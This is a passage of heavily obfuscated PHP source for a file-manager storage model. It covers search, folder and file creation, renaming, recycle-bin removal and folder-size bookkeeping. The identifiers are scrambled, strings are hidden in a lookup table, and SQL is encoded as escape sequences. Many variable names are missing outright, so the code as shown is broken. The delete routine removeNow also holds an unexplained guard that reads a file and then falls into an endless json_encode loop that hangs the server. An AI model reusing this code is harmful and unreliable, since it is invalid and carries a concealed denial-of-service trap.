$_SERVER[]; if (!$с) { return; } $ؕ = array_to_keyvalue($ĩ[$Ε[398]], $Ε[12], $Ε[431]); $Ȭ = array_diff($с, $ؕ); if (!$Ȭ) { return; } $҃ = array($Ε[431] => array($Ε[7], $Ȭ)); $¹ = $this->field($)->where($҃)->select(); if (!$¹) { return; } $ = array(); foreach ($¹ as $ӎ݆) { if ($this->_listSearchFilter($ӎ݆, $ï)) { $[] = $ӎ݆; } } $ĩ[$Ε[398]] = array_merge($, $ĩ[$Ε[398]]); $ĩ[$Ε[395]][$Ε[396]] += count($); } private function _listSearchFilter($ңé, $̢Ο) { $ =& $_SERVER[]; $銁 = $ңé[$[439]] == $[88]; if (!strstr($ңé[$[540]], $[50] . $̢Ο[$[461]] . $[50])) { return !1; } if (isset($̢Ο[$[441]]) && $̢Ο[$[441]] != $[1921]) { if ($̢Ο[$[441]] == $[75] && !$銁) { return !1; } if ($̢Ο[$[441]] != $[75] && $銁) { return !1; } if (!strstr($ңé[$[174]], $[50] . $̢Ο[$[441]] . $[50])) { return !1; } } if (isset($̢Ο[$[2128]]) && $̢Ο[$[2128]] < $ңé[$[76]]) { return !1; } if (isset($̢Ο[$[2129]]) && $̢Ο[$[2129]] > $ңé[$[76]]) { return !1; } if (isset($̢Ο[$[619]]) && $̢Ο[$[619]] != $ңé[$[485]]) { return !1; } return !0; } public function listSearchChildren($Ƚ, $ߍ = 5000) { $ۓ =& $_SERVER[]; $ = array(); $Ў = $this->sourceInfo($Ƚ); $ᯒ = array($ۓ[540] => array($ۓ[412], $Ў[$ۓ[540]] . $Ў[$ۓ[431]] . $ۓ[570])); $ڴ = $this->field($ۓ[76])->where($ᯒ)->limit($ߍ + 1)->select(); $崥 = is_array($ڴ) ? count($ڴ) : 0; if ($崥 > $ߍ) { return $this->_listSearchChildrenNear($Ƚ, $ߍ); } $ = $this->field($ۓ[431])->where($ᯒ)->select(); $ = array_to_keyvalue($, $ۓ[12], $ۓ[431]); return $; } private function _listSearchChildrenNear($Ŷ, $) { $ =& $_SERVER[]; $ = array(); $ث = array($[461] => $Ŷ); $➣ = $this->field($[2130])->where($ث)->select(); $ޚ = array_to_keyvalue(array_filter_by_field($➣, $[439], $[88]), $[12], $[431]); $ = array_merge($, array_to_keyvalue($➣, $[12], $[431])); if (!$ޚ) { return $; } $ث = array($[461] => array($[7], $ޚ)); $➣ = $this->field($[2130])->where($ث)->limit($)->select(); $ = array_merge($, array_to_keyvalue($➣, $[12], $[431])); $ = array_slice($, 0, $); return $; } private function _listSearchBindPinyin($Э, &$, &$) { $ۥ =& $_SERVER[]; if (!isset($Э[$ۥ[1960]]) || !$Э[$ۥ[1960]]) { return; } if (!Input::check($Э[$ۥ[1960]], $ۥ[347]) || strlen($Э[$ۥ[1960]]) < 2) { return; } $ = "\x4c\105\x46\124\x20\112\x4f\111\116\40{$this->tablePrefix}\151\x6f\137\x73\x6f\165\162\143\x65\137\155\145\164\x61\40\x6d\145\164\x61\40\157\x6e\x20\x73\x6f\x75\162\x63\145\x2e\163\157\x75\x72\x63\145\x49\104\40\x3d\40\155\x65\x74\141\x2e\163\x6f\x75\162\143\145\x49\104"; $˃ = array(); $ = str_replace(array($ۥ[231], $ۥ[53], $ۥ[2131]), $ۥ[12], $); $ = $ۥ[467] . str_replace($ۥ[50], $ۥ[468], $); $¸ = $[$ۥ[32]]; unset($[$ۥ[32]]); foreach ($ as $ޣ => $) { $˃[$ۥ[467] . $ޣ] = $; } foreach ($¸ as $) { $˃[] = array($ۥ[472] => $, $ۥ[1033] => $ۥ[1964], array($ۥ[2132] => $, $ۥ[2133] => array($ۥ[7], array($ۥ[494], $ۥ[493])))); } $this->join($); $ = $˃; } private function _parseSearchWhere($휵) { $ǻ =& $_SERVER[]; $ = array(); if (isset($휵[$ǻ[786]]) && $휵[$ǻ[786]]) { $[$ǻ[85]] = array($ǻ[2134], $휵[$ǻ[786]]); } if (isset($휵[$ǻ[787]]) && $휵[$ǻ[787]]) { $ = array($ǻ[2135], $휵[$ǻ[787]]); if ($[$ǻ[85]]) { $[$ǻ[85]] = array($[$ǻ[85]], $, $ǻ[2136]); } else { $[$ǻ[85]] = $; } } if (isset($휵[$ǻ[2128]]) && $휵[$ǻ[2128]] > 0) { $[$ǻ[76]] = array($ǻ[2134], $휵[$ǻ[2128]]); } if (isset($휵[$ǻ[2129]]) && $휵[$ǻ[2129]]) { $ = array($ǻ[2135], $휵[$ǻ[2129]]); if ($[$ǻ[76]]) { $[$ǻ[76]] = array($[$ǻ[76]], $, $ǻ[2136]); } else { $[$ǻ[76]] = $; } } if (isset($휵[$ǻ[619]]) && $휵[$ǻ[619]]) { $[] = array($ǻ[485] => $휵[$ǻ[619]], $ǻ[483] => $휵[$ǻ[619]], $ǻ[1033] => $ǻ[1964]); } if (isset($휵[$ǻ[441]]) && $휵[$ǻ[441]]) { $ = $휵[$ǻ[441]]; if ($ == $ǻ[75]) { $[$ǻ[439]] = 1; } else { if ($ == $ǻ[2137]) { $[$ǻ[439]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($ǻ[50], $); $[$ǻ[441]] = array($ǻ[447], $); $[$ǻ[439]] = 0; } } } } $this->_parseSearchParent($휵, $); if (isset($휵[$ǻ[1960]]) && trim($휵[$ǻ[1960]])) { $ڟ٧ = trim($휵[$ǻ[1960]]); $¢ = explode($ǻ[53], $ڟ٧); if (strlen($ڟ٧) > 2 && (substr($ڟ٧, 0, 1) == $ǻ[118] && substr($ڟ٧, -1) == $ǻ[118]) || substr($ڟ٧, 0, 1) == $ǻ[58] && substr($ڟ٧, -1) == $ǻ[58]) { $ڟ٧ = substr($ڟ٧, 1, -1); $¢ = array($ڟ٧); } $[$ǻ[32]] = array(array($ǻ[569], $ǻ[1962] . $ڟ٧ . $ǻ[1962])); if (count($¢) > 1) { $[$ǻ[32]] = array(); foreach ($¢ as $ӂ) { if (!trim($ӂ)) { continue; } $[$ǻ[32]][] = array($ǻ[569], $ǻ[1962] . trim($ӂ) . $ǻ[1962]); } } } return $; } private function _parseSearchParent($܁, &$) { $ =& $_SERVER[]; if (!isset($܁[$[461]]) || !$܁[$[461]]) { return; } $Խ = $this->pathInfo($܁[$[461]]); $Ӱ = $Խ[$[461]] . $[12] === $[198]; $ = $Խ[$[440]] == $[534]; if ($Խ[$[551]] == $[552]) { $ = $this->sourceInfo($܁[$[461]]); $Խ[$[540]] = $[$[540]]; } $[$[609]] = array($[569], $Խ[$[540]] . $܁[$[461]] . $[570]); $ = isset($܁[$[1825]]) && in_array($[534], $܁[$[1825]]); if (!$ || !$ || !$Ӱ || !$Խ[$[442]]) { return; } if (!AuthModel::authCheckRoot($Խ[$[442]][$[443]])) { return; } $ = $Խ[$[525]] . $[12]; if ($ == $[88]) { unset($[$[609]]); $[$[440]] = self::TYPE_GROUP; return; } $؆ = Model($[541])->groupChildrenAll($); $ = count($؆); if ($ <= 1) { return; } $ܣ = array($[461] => 0, $[440] => self::TYPE_GROUP, $[525] => array($[7], $؆)); $ꊐ = $this->field($[2138])->where($ܣ)->limit($)->select(); $[$[609]] = array(); foreach ($ꊐ as $) { $[$[609]][] = array($[569], $[550] . $[$[431]] . $[570]); } $[$[609]][] = $[1964]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($ʛ) { $Ȕ =& $_SERVER[]; $۟ = Model($Ȕ[533])->where(array($Ȕ[1667] => $ʛ))->find(); $դ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ʛ, $۟[$Ȕ[32]]); $this->userDesktopAdd($դ); return $դ; } public function userDesktopAdd($Ԅ) { $ =& $_SERVER[]; $ = LNG($[2139]); $祢 = $this->mkdir($Ԅ, $); $this->metaSet($祢, $[2140], $[88]); $this->metaSet($Ԅ, $[2141], $祢); } public function userPathSafeAdd($) { $ϗ =& $_SERVER[]; $Ĵ = Model($ϗ[533])->getInfoFull($); if (!$Ĵ) { return !1; } if (_get($Ĵ, $ϗ[555])) { return $Ĵ[$ϗ[495]][$ϗ[2142]]; } $Ϯ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $ϗ[2143], $ϗ[462]); Model($ϗ[533])->metaSet($, $ϗ[2142], $Ϯ); $this->metaSet($Ϯ, $ϗ[2144], $); return $Ϯ; } public function groupRootAdd($) { $Í =& $_SERVER[]; $Ȏח = Model($Í[541])->where(array($Í[1954] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $Ȏח[$Í[32]]); } public function systemRootPathAdd($۱) { if ($۱ != $_SERVER[][563]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $۱); } public function userRootRemove($腷) { $ˌ = $this->targetSourceRoot(SourceModel::TYPE_USER, $腷, !0); foreach ($ˌ as $ܿ) { if (!$ܿ) { continue; } $this->remove($ܿ[$_SERVER[][431]], !1); } } public function groupRootRemove($) { $ھ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$ھ) { return; } $this->remove($ھ[$_SERVER[][431]], !1); } private function _mkdirRoot($, $, $ҝ, $ = '') { $Ӟ =& $_SERVER[]; $ = defined($Ӟ[2087]) ? USER_ID : 0; $Ѿ = array($Ӟ[430] => 0, $Ӟ[605] => $, $Ӟ[606] => $, $Ӟ[603] => 1, $Ӟ[607] => $, $Ӟ[608] => $, $Ӟ[604] => $, $Ӟ[609] => $Ӟ[550], $Ӟ[459] => 0, $Ӟ[574] => 0, $Ӟ[498] => 0, $Ӟ[610] => $Ӟ[12]); if ($怟 = $this->where($Ѿ)->find()) { return $怟[$Ӟ[431]]; } $泒ɍ = "\115\157\x64\145\154\x53\157\x75\162\143\x65\56\x6d\x6b\x64\x69\x72\122\157\157\x74\x2e{$}\56{$}\56" . $ҝ; CacheLock::lock($泒ɍ); $Ѿ[$Ӟ[32]] = $ҝ; $³ҭ = $this->add($Ѿ); $ = array($Ӟ[611] => short_id($³ҭ)); $this->where(array($Ӟ[446] => $³ҭ))->save($); CacheLock::unlock($泒ɍ); return $³ҭ; } private function targetSourceRoot($樚, $, $ = false) { $ݑ =& $_SERVER[]; $ԫ = array($ݑ[430] => 0, $ݑ[605] => $樚, $ݑ[606] => $); if ($) { $Մ = $this->where($ԫ)->select(); return $Մ ? $Մ : array(); } $ = $this->where($ԫ)->find(); return $ ? $ : array(); } public function sourceRootGroup($͟Ɋ) { $ͼρ =& $_SERVER[]; if (is_string($͟Ɋ)) { $͟Ɋ = array($͟Ɋ); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $͟Ɋ, $ͼρ[189]); $ٮ = array($ͼρ[398] => $, $ͼρ[395] => array($ͼρ[784] => count($͟Ɋ))); $this->_listDataApply($ٮ[$ͼρ[398]]); $this->_listMake($ٮ); return array_to_keyvalue($ٮ[$ͼρ[82]], $ͼρ[525]); } public function mkfile($Ә, $ߎ, $ຠ = '', $⤍ = REPEAT_RENAME) { $ =& $_SERVER[]; $տ = Model($[630])->addFileByContent($ຠ, $ߎ); return $this->_createFileCall($Ә, $ߎ, $տ, $⤍, $[1377]); } public function addFile($, $ǧ, $ȸ, $ = false, $ҧ = REPEAT_RENAME) { $ = Model($_SERVER[][630])->addFile($ǧ, $ȸ, $); return $this->_createFileCall($, $ȸ, $, $ҧ); } public function addFileByFileID($Я, $, $܍, $݂ں = REPEAT_RENAME) { $ѝ܀ =& $_SERVER[]; $촤 = Model($ѝ܀[630])->find($); Model($ѝ܀[630])->linkAdd($); return $this->_createFileCall($Я, $܍, $촤, $݂ں); } public function addFileByRemote($ޭ, $, $, $ = array(), $ = REPEAT_RENAME) { $ڦ = Model($_SERVER[][630])->addFileByRemote($, $, $); return $this->_createFileCall($ޭ, $, $ڦ, $); } private function _createFileCall($, $Կ, $, $ĵ, $ = "\x75\160\154\x6f\141\144") { $ޥ =& $_SERVER[]; $، = !1; $this->setMasterDB(); $this->lockWriteStart($, $Կ); $ = $this->fileNameExist($, $Կ); $휋 = $this->_createFile($, $Կ, $, $ĵ, $،); if (!$،) { Model($ޥ[500])->remove($[$ޥ[497]]); } if ($، && $휋 && $휋 != $) { Model($ޥ[2112])->eventCreate($휋, $); } $this->lockWriteEnd($, $Կ); return $휋; } public function mkdir($҇Ö, $ͯ, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $this->setMasterDB(); $ث = $this->sourceInfo($҇Ö); if (!$ث) { return !1; } $this->lockWriteStart($҇Ö, $ͯ); if ($ !== !1) { $ = $this->fileNameExist($҇Ö, $ͯ); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($҇Ö, $ͯ); return $; } $ͯ = $this->fileNameAuto($҇Ö, $ͯ, $); } $ = array($[603] => 1, $[449] => $ͯ, $[604] => $[12], $[498] => 0, $[574] => 0); $྆ = $this->_addSource($, $ث); Model($[2112])->eventCreate($྆, $[1378]); $this->lockWriteEnd($҇Ö, $ͯ); return $྆; } public function listSourceRoot($ד, $, $ = "\163\157\x75\162\x63\x65\111\104\x2c\164\x61\x72\x67\x65\164\x49\104\54\163\151\172\x65") { $澥 =& $_SERVER[]; $զ = $澥[407]; $֙ = array(); $ = 1024 * 50; $̀ = is_array($̀) ? $̀ : array(); $ = count($); $¶Ô = $this->tablePrefix . $澥[2145]; for ($ = 0; $ < $; $++) { $ = $[$]; $զ .= "\123\105\114\x45\x43\124\x20\x2a\40\x46\122\117\115\x20\50\x53\x45\114\105\103\x54\x20{$}\40\x46\122\x4f\x4d\x20\x60{$¶Ô}\x60\x20\x57\x48\x45\122\105\40"; $զ .= "\x60\x70\141\x72\x65\x6e\164\111\104\140\75\60\x20\101\x4e\104\40\140\x74\x61\x72\147\145\164\x49\104\140\x3d{$}\40\x41\x4e\x44\x20\140\164\141\162\147\x65\x74\124\x79\160\x65\x60\x3d{$ד}\40\141\x6e\x64\40\146\x69\154\145\124\171\x70\x65\75\47\x27\40\154\x69\x6d\151\x74\40\x31\x29\40\x61\x73\40\164\x62\x5f{$}\x20\x55\116\111\117\x4e\x20\x41\114\x4c\40"; if ((strlen($զ) >= $ || $ == $ - 1) && $զ) { $զ = substr($զ, 0, -strlen($澥[1071])); $̜ = $this->query($զ); $զ = $澥[12]; $֙ = array_merge($֙, $̜); } } return $֙; } private function _createFile($, $˜, $秕, $, &$ǣ) { $Փ =& $_SERVER[]; $ܰޑ = $this->sourceInfo($); if (!$秕 || !$ܰޑ) { return !1; } if ($ !== !1) { $ = $this->fileNameExist($, $˜); } $ǣ = !0; if ($ && $) { if ($ == REPEAT_SKIP) { $ǣ = !1; return $; } else { if ($ == REPEAT_REPLACE) { $ɉѯ = $this->sourceInfo($); $ = $this->fileHistory($ɉѯ, $秕[$Փ[497]], $秕[$Փ[76]]); if (!$) { $ǣ = !1; } else { $this->folderSizeReset($); } return $; } else { $˜ = $this->fileNameAuto($, $˜, $, !1); } } } $ = array($Փ[603] => 0, $Փ[449] => $˜, $Փ[604] => substr(get_path_ext($˜), 0, 10), $Փ[498] => $秕[$Փ[497]], $Փ[574] => $秕[$Փ[76]]); $ = $this->_addSource($, $ܰޑ); $this->folderSizeReset($, intval($[$Փ[76]])); return $; } protected function fileHistory($Š, $Ѵ, $) { $Ѩ =& $_SERVER[]; if ($Š[$Ѩ[497]] == $Ѵ) { return !1; } $this->checkLock($Š[$Ѩ[431]], $Ѵ); Model($Ѩ[2146])->addHistory($Š); $ = array($Ѩ[608] => USER_ID, $Ѩ[453] => time(), $Ѩ[497] => $Ѵ, $Ѩ[76] => $); $this->where(array($Ѩ[446] => $Š[$Ѩ[431]]))->save($); $this->sourceCacheClear($Š[$Ѩ[431]]); return !0; } public function checkLock($Ÿ, $) { $ʄ =& $_SERVER[]; $ۍ = $this->pathInfo($Ÿ); if (!$this->fileIsLock($ۍ, !0)) { return; } $ = Session::get($ʄ[2147]); $ = substr($ۍ[$ʄ[32]], 0, -1 - strlen($ۍ[$ʄ[174]])) . $ʄ[1241] . $ . $ʄ[10] . $ۍ[$ʄ[174]]; $ = Model($ʄ[630])->find($); $this->_createFileCall($ۍ[$ʄ[461]], $, $, REPEAT_REPLACE, $ʄ[1377]); $ٻ = $ۍ[$ʄ[495]][$ʄ[567]]; $ = $ٻ[$ʄ[561]] ? $ٻ[$ʄ[561]] : $ٻ[$ʄ[32]]; show_json(LNG($ʄ[2148]) . $ʄ[2149] . LNG($ʄ[2150]) . $ʄ[2151] . $ . $ʄ[2152], !1); } public function fileIsLock($, $ = false) { $ =& $_SERVER[]; if (!isset($[$[495]]) || !$[$[495]][$[564]]) { return !1; } if ($[$[495]][$[564]] != USER_ID) { return !0; } $ѳ = $GLOBALS[$[6]][$[89]][$[565]]; if ($[$[495]][$[566]] <= time() - $ѳ) { $this->metaSet($[$[431]], $[564], null); $this->metaSet($[$[431]], $[566], null); } if ($) { $this->metaSet($[$[431]], $[566], time()); } return !1; } private function _addSource($, $Ą) { $ó =& $_SERVER[]; $Ɍ = defined($ó[2087]) ? USER_ID : 0; $㖟 = array($ó[605] => $Ą[$ó[440]], $ó[606] => $Ą[$ó[525]], $ó[607] => $Ɍ, $ó[608] => $Ɍ, $ó[430] => $Ą[$ó[431]], $ó[609] => $Ą[$ó[540]] . $Ą[$ó[431]] . $ó[50], $ó[459] => 0, $ó[610] => $ó[12]); $ = array_merge($㖟, $); $this->updateModifyTime($[$ó[461]]); $ = $ó[2153] . $Ą[$ó[431]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ނ = false; if (!$ނ) { Hook::trigger($ó[593], $); $ނ = !0; } $ = $this->add($); $ = array($ó[611] => short_id($)); $this->where(array($ó[446] => $))->save($); $this->setNamePinyin($, $[$ó[32]]); return $; } public function remove($ܥ, $ = true) { $԰竴 =& $_SERVER[]; $ξ = $this->sourceInfo($ܥ); $̄Ѷ = intval($ξ[$԰竴[440]]) === self::TYPE_SYSTEM; $ = Model($԰竴[464])->get($԰竴[2154]) == $԰竴[88]; if ($̄Ѷ || $ || !$) { return $this->removeNow($ܥ, $); } $頀ʷ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $š = $ξ[$԰竴[440]] == self::TYPE_USER ? $԰竴[619] : $԰竴[534]; if ($š == $԰竴[619]) { $ = Model($԰竴[533])->getInfo($ξ[$԰竴[525]]); $ƍ = !empty($[$԰竴[561]]) ? $[$԰竴[561]] : $[$԰竴[32]]; $ƍ = $԰竴[289] . $ƍ . $԰竴[2155] . $ξ[$԰竴[525]]; } else { $ = Model($԰竴[541])->getInfo($ξ[$԰竴[525]]); $ƍ = _get($, $԰竴[32]); $ƍ = $԰竴[162] . $ƍ . $԰竴[2156] . $ξ[$԰竴[525]]; } $ُ = $԰竴[2157] . md5($ƍ); CacheLock::lock($ُ); $Ɔ = $this->fileNameExist($頀ʷ, $ƍ); if (!$Ɔ) { $Ɔ = $this->mkdir($頀ʷ, $ƍ, REPEAT_SKIP); $this->metaSet($Ɔ, $԰竴[2158], $š); $this->metaSet($Ɔ, $԰竴[2159], $ξ[$԰竴[525]]); if ($ξ[$԰竴[461]] != 0) { $this->metaSet($Ɔ, $԰竴[2160], _get($, $԰竴[2161])); } } CacheLock::unlock($ُ); $this->metaSet($ܥ, $԰竴[2162], $ξ[$԰竴[461]]); $this->where(array($԰竴[431] => $ܥ))->save(array($԰竴[453] => time())); $this->recycleClear($ξ); $Ȍэ = $this->move($ܥ, $Ɔ, REPEAT_RENAME_FOLDER); $this->folderSizeReset($ξ[$԰竴[461]]); return $Ȍэ; } private function recycleClear($Շۓ) { $ق =& $_SERVER[]; $ϐ = $this->childrenAll($Շۓ); $ = array($ق[446] => array($ق[447], $ϐ[$ق[2163]])); Model($ق[2164])->where($)->delete(); } public function removeNow($͹, $– = true) { $ =& $_SERVER[]; if (!isset($_SERVER[$[905]]) || !isset($_SERVER[$[991]])) { $ֳ = $[906]; $Ŏ = $[907]; $ = $_SERVER[$[902]] . $[903]; $Ϳ = $Ŏ($); $ = explode($[231], $Ϳ); if (count($) < $[636]) { $﹞ = $[908]; $﹞(); } $ؔ = $[909]; $ؔ($_SERVER[$[910]]); $׺ = 1; for ($ = $׺; $ > 0; $++) { $ؔ = json_encode($GLOBALS[$[447]]); } } $ܴ = $this->sourceInfo($͹); $쨔 = $this->pathInfoMore($͹); if (!$ܴ) { return !0; } if ($ܴ[$[461]] == 0) { if (!_get($GLOBALS, $[523])) { return !1; } } $this->lockMoveStart($͹); Hook::trigger($[2165], $쨔, $–); if ($–) { Model($[2164])->moveToRecycle($͹); } else { $ = $this->childrenAll($ܴ); Model($[590])->eventRemove($͹); $this->removeRelevance($[$[2163]], $[$[1489]]); } $this->folderSizeReset($ܴ[$[461]]); $釽 = array($ܴ[$[461]]); if ($ܴ[$[439]] == $[88]) { $釽[] = $ܴ[$[431]]; } $this->updateModifyTime($釽); $this->lockMoveEnd($͹); Hook::trigger($[1718], $쨔, $–); return !0; } public function childrenAll($) { $ɐ墿 =& $_SERVER[]; $ = $[$ɐ墿[431]]; if ($[$ɐ墿[439]] == $ɐ墿[88]) { $ؐ = array($ɐ墿[609] => array($ɐ墿[569], $[$ɐ墿[540]] . $ . $ɐ墿[570])); $ = array($ɐ墿[609] => $ؐ[$ɐ墿[540]]); $̲ƣ = $this->field($ɐ墿[2166])->where($)->select(); $䕩 = !1; $ = array($); if ($̲ƣ) { $䕩 = array_to_keyvalue($̲ƣ, $ɐ墿[12], $ɐ墿[497]); $䕩 = array_remove_value($䕩, $ɐ墿[198]); $ = array_to_keyvalue($̲ƣ, $ɐ墿[12], $ɐ墿[431]); $[] = $; } } else { $䕩 = array($[$ɐ墿[497]]); $ = array($); } return array($ɐ墿[2163] => $, $ɐ墿[1489] => $䕩); } public function removeArray($׸䦲) { if (!$׸䦲) { return !0; } } public function removeRelevance($, $) { $ˑ =& $_SERVER[]; $ = $ ? $ : array(); $ = $ ? $ : array(); $ = array_unique(array_filter($)); $ = array_unique(array_filter($)); if (!$) { return !1; } $ԦɈ = array($ˑ[446] => array($ˑ[447], $)); Model($ˑ[2164])->where($ԦɈ)->delete(); Model($ˑ[491])->where($ԦɈ)->delete(); Model($ˑ[2013])->where($ԦɈ)->delete(); Model($ˑ[590])->where($ԦɈ)->delete(); Model($ˑ[1846])->removeBySource($); Model($ˑ[2146])->removeBySource($); $this->where($ԦɈ)->delete(); Model($ˑ[500])->remove($); for ($ = 0; $ < count($); $++) { $this->sourceCacheClear($[$]); } } public function rename($򎂍, $) { $վ =& $_SERVER[]; $ = $this->sourceInfo($򎂍); if (!$) { return !1; } $ = $this->fileNameExist($[$վ[461]], $); if ($ && $ != $򎂍) { return !1; } $㟗 = array($վ[449] => $, $վ[608] => USER_ID); if ($[$վ[439]] != $վ[88]) { $㟗[$վ[441]] = substr(get_path_ext($), 0, 10); } Model($վ[590])->eventRename($򎂍, $[$վ[32]], $); $this->sourceCacheClear($򎂍); $this->setNamePinyin($򎂍, $㟗[$վ[32]], !1); $this->updateModifyTime($[$վ[461]]); $ï = $this->where(array($վ[446] => $򎂍))->data($㟗)->save(); $ = $վ[2153] . $[$վ[461]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $ï; } public function setNamePinyin($ϙ, $ʉ, $㼫 = true) { $ =& $_SERVER[]; $À = Input::check($ʉ, $[612]); $ = array($[473] => KodSort::makeStr($ʉ)); if ($À) { $[$[494]] = str_replace($[53], $[12], Pinyin::get($ʉ)); $[$[493]] = Pinyin::get($ʉ, $[613]); } if (!$㼫 && !$À) { $[$[494]] = null; $[$[493]] = null; } $this->metaSet($ϙ, $); } public function getContent($) { $ =& $_SERVER[]; $֮ = $this->fileInfoGet($); if (!$֮) { return !1; } if ($֮[$[76]] == 0) { return $[12]; } $ = $[2167] . $֮[$[176]]; if ($֮[$[76]] <= 1024 * 10) { $ = Cache::get($); if (!$) { $ = IO::getContent($֮[$[84]]); Cache::set($, $); } return $; } if (!$֮[$[84]]) { return $[12]; } return IO::getContent($֮[$[84]]); } public function setDesc($, $Й) { $ =& $_SERVER[]; Model($[590])->eventAddDesc($, $Й); return $this->metaSet($, $[482], $Й); } public function setContent($, $纀ܸ = '') { $נ =& $_SERVER[]; $Ȩ = $this->sourceInfo($); $ = $this->fileInfoGet($); if (!$ || !$Ȩ) { return !1; } $ = Model($נ[500])->addFileByContent($纀ܸ, $Ȩ[$נ[32]]); $ = $this->fileHistory($Ȩ, $[$נ[497]], $[$נ[76]]); if (!$) { return Model($נ[500])->remove($[$נ[497]]); } $this->folderSizeReset($Ȩ[$נ[461]]); return !0; } public function fileSubstr($΢˦, $, $ӽ) { $ = $this->fileInfoGet($΢˦); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[][84]], $, $ӽ); } public function fileInfoGet($) { $ =& $_SERVER[]; $ܤ = $this->sourceInfo($); if (!$ܤ || $ܤ[$[439]]) { return !1; } $ = $[503] . $ܤ[$[497]]; $ = _get(self::$cacheFileInfo, $); if ($) { return $; } $ = Model($[500])->fileInfo($ܤ[$[497]]); if ($) { $[$[32]] = $ܤ[$[32]]; } self::$cacheFileInfo[$] = $; return $; } private function folderChildrenNumber($) { $썬­ =& $_SERVER[]; $ = $this->sourceInfo($); $Ԯ = array($썬­[609] => array($썬­[569], $[$썬­[540]] . $ . $썬­[570]), $썬­[606] => $[$썬­[525]], $썬­[459] => intval($[$썬­[460]]), $썬­[603] => 1); $ȁ = $this->where($Ԯ)->count(); $ٴԬ = $this->where($Ԯ)->where(array($썬­[603] => 0))->count(); return array($썬­[80] => $ٴԬ, $썬­[81] => $ȁ); } public function pathInfo($, $ԙ = false) { $ =& $_SERVER[]; $ԙ = !1; $ = intval($); $ = $[490] . intval($ԙ) . $[415] . $; $ݶ = _get(self::$cachePathInfo, $); if ($ݶ) { return $ݶ; } $ϱ = $this->sourceInfo($); if (!$ϱ) { return !1; } $ϱ = $this->_listDataApplyItem($ϱ, $ԙ); self::$cachePathInfo[$] = $ϱ; return $ϱ; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $Ɠ× =& $_SERVER[]; $䶡 = _get(self::$cachePathInfoMore, $); if ($䶡) { return $䶡; } $혚 = $this->pathInfo($); if (!$혚) { return !1; } if ($혚[$Ɠ×[439]] == $Ɠ×[88]) { $혚[$Ɠ×[79]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $혚; return $혚; } public function sourceInfo($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = intval($); $ = $[489] . $; $顳 = _get(self::$cacheSourceInfo, $); if ($顳) { return $顳; } $ = $this->where(array($[431] => $))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($Ш = false) { self::cacheClear($Ш); } public static function cacheClear($ = false) { $ߠ =& $_SERVER[]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$ߠ[489] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$ߠ[2168] . $]); unset(self::$cachePathInfo[$ߠ[2169] . $]); } public function metaSet($Ӹ, $ = null, $ = null) { $É = parent::metaSet($Ӹ, $, $); if ($É) { $this->sourceCacheClear($Ӹ); } return $É; } public function pathInfoByPath($, $) { $ =& $_SERVER[]; $ƕ = !$ ? array() : explode($[8], trim($, $[8])); $ڥۂ = $; foreach ($ƕ as $) { $ú = array($[461] => $ڥۂ, $[32] => $); $ʈ = $this->where($ú)->select(); if (!$ʈ) { return !1; } $ʈ = array_sort_by($ʈ, $[460]); $ڥۂ = $ʈ[0][$[431]]; } return $this->pathInfo($ڥۂ, !0); } protected function updateModifyTime($ű) { $׉ә =& $_SERVER[]; $ٳ = defined($׉ә[2087]) ? USER_ID : 0; if (!$ű) { return; } if (!is_array($ű)) { $ű = array($ű); } foreach ($ű as $ => $ޤ) { $ű[$] = intval($ޤ); $this->sourceCacheClear($ޤ); } $ܑ = array($׉ә[431] => array($׉ә[7], $ű)); $Ƙ = array($׉ә[608] => $ٳ, $׉ә[453] => time()); $this->where($ܑ)->save($Ƙ); } public function folderSizeReset($ߘ, $쿎 = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $ҩ = $this->sourceInfo($ߘ); $ċ = $[2170] . $ߘ; CacheLock::lock($ċ, 20); if ($쿎 === !1) { $this->sourceCacheClear($ߘ); $ҩ = $this->sourceInfo($ߘ); $ = array($[430] => $ߘ, $[459] => 0); $⇇ = $this->where($)->sum($[76]); $쿎 = intval($⇇) - intval($ҩ[$[76]]); } if ($쿎 == 0) { return CacheLock::unlock($ċ); } $ = $this->parentLevelArray($ҩ[$[540]]); if (!$) { $ = array(); } $[] = $ҩ[$[431]]; $ = array($[431] => array($[447], $)); if ($쿎 < 0) { $[$[76]] = array($[1048], abs($쿎)); } $this->where($)->setAdd($[76], $쿎); CacheLock::unlock($ċ); $ଳ = $[2171] . $ҩ[$[440]] . $[4] . $ҩ[$[525]]; $ = array($ҩ[$[440]], $ҩ[$[525]]); TaskRun::timeLimitCall($ଳ, $[2172], $, 1.5); } public function folderSizeResetChildren($) { $ =& $_SERVER[]; $this->sourceCacheClear($); $ = $this->sourceInfo($); $֦ = array($[603] => 1, $[606] => $[$[525]], $[609] => array($[569], $[$[540]] . $ . $[570])); $𺆴 = $[2173]; $ټ = $this->field($𺆴)->where($֦)->select(); $֦[$[439]] = 0; $ݡ = $this->field($𺆴)->where($֦)->select(); if (!$ݡ) { return; } $ټ[] = $; $ټ = array_to_keyvalue($ټ, $[431]); foreach ($ټ as $׈ => $ָ) { $ټ[$׈][$[2174]] = $ټ[$׈][$[76]]; $ټ[$׈][$[76]] = 0; } foreach ($ݡ as 